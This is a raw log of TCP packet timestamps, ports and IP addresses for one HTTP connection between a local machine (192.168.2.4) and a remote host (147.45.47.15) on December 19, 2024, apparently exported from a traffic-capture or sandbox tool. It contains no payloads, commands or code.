Dec 19, 2024 08:11:49.795157909 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.795667887 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:49.803246975 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.803359032 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.803409100 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:49.811640024 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.811760902 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.811805964 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:49.820003033 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.820141077 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.820187092 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:49.828408003 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.828572989 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.828629971 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:49.837003946 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.837028027 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.837075949 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:49.845130920 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.845227957 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.845375061 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:49.885358095 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.926255941 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:49.957727909 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.957802057 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.957856894 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:49.960247993 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.961224079 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.961265087 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:49.961287022 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.966367006 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.966403008 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:49.966516972 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.971256018 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.971350908 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.971360922 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:49.976211071 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.976253986 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:49.976293087 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.981121063 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.981143951 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.981185913 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:49.985829115 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.985913992 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:49.985960960 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.990832090 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.990855932 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.990878105 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:49.996855974 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.996872902 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.996917963 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.000284910 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.000371933 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.000400066 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.005182028 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.005230904 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.005434036 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.010000944 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.010019064 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.010067940 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.014770031 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.014841080 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.014863968 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.019619942 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.019675016 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.019712925 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.024904013 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.024919987 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.024950981 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.029294968 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.029346943 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.029359102 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.034687042 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.034704924 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.034737110 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.038994074 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.039010048 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.039078951 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.043673038 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.043721914 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.043756008 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.048521996 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.048577070 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.048604012 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.098143101 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.150216103 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.150239944 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.150290012 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.152066946 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.152390003 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.152436972 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.156063080 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.157284975 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.157360077 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.157577038 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.161423922 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.161443949 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.161487103 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.165153027 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.165169954 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.165292978 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.169137955 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.169157982 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.169203997 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.172559023 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.172621965 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.172662973 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.176093102 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.176110029 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.176155090 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.178972006 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.179049015 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.179053068 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.181821108 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.181895971 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.181942940 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.184756994 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.184803963 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.184900999 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.187506914 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.187553883 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.187612057 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.190392017 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.190535069 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.190888882 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.193279982 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.193368912 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.193386078 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.196110964 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.196207047 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.196213961 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.198982954 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.199048996 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.199064970 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.201817036 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.201877117 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.201946020 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.204710960 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.204821110 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.204832077 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.207530022 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.207590103 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.207643986 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.210457087 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.210501909 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.210508108 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.213367939 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.213453054 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.213514090 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.216109991 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.216167927 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.216207981 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.218966961 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.219014883 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.219198942 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.221837997 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.221898079 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.221929073 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.224668026 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.224772930 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.224791050 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.227554083 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.227617025 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.227654934 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.230395079 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.230472088 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.230495930 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.233227968 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.233335018 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.233349085 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.236124039 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.236174107 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.236229897 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.238986969 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.239090919 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.239115953 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.241825104 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.241874933 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.241906881 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.244787931 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.244807005 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.244846106 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.247582912 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.247641087 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.247670889 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.250411034 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.250461102 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.250533104 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.253233910 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.253304958 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.342209101 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.342436075 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.342570066 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.343434095 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.343569994 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.343611002 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.345906973 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.346010923 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.346084118 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.348407984 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.348515034 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.348577023 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.350892067 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.351016998 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.351059914 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.353375912 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.353585958 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.353656054 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.355741978 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.355881929 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.355948925 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.358113050 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.358231068 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.358479023 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.360483885 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.360686064 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.360730886 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.362705946 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.362809896 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.362852097 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.364976883 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.365025043 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.365227938 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.367151976 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.367274046 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.367327929 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.369360924 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.369483948 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.369590998 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.371498108 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.371576071 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.371650934 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.373580933 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.373764038 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.373807907 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.375799894 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.375816107 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.376095057 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.377779961 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.377881050 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.377935886 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.379792929 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.379899025 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.380204916 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.381876945 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.381895065 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.381975889 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.383943081 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.384042978 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.384092093 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.385963917 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.386064053 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.386194944 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.387953997 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.388079882 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.388125896 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.390068054 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.390142918 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.390275955 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.392107010 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.392225981 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.392277956 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.394119024 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.394176960 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.394217014 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.396187067 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.396250010 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.396292925 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.398227930 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.398365974 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.398408890 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.400249958 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.400367975 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.400408983 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.402348995 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.402455091 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.402893066 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.404361010 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.404422998 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.404652119 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.406399012 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.406510115 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.406549931 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.408448935 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.408560038 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.408605099 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.410506010 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.410594940 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.410698891 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.412570953 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.412659883 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.412807941 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.414601088 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.414719105 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.414758921 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.416666985 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.416799068 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.416835070 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.418704033 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.418824911 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.418865919 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.420774937 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.420927048 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.420977116 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.422868013 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.422920942 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.423000097 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.424861908 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.424973965 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.425441027 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.426913023 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.426939964 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.427001953 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.428981066 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.429030895 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.429140091 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.431027889 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.431159973 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.431196928 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.433048010 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.433151007 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.433273077 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.435108900 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.435379028 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.435425997 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.437124014 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.437319994 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.437365055 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.439224958 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.439300060 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.439390898 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.441207886 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.441334963 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.441381931 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.443303108 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.443365097 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.443419933 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.445409060 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.445425987 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.445475101 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.447371006 CET	80	49738	147.45.47.15	192.168.2.4
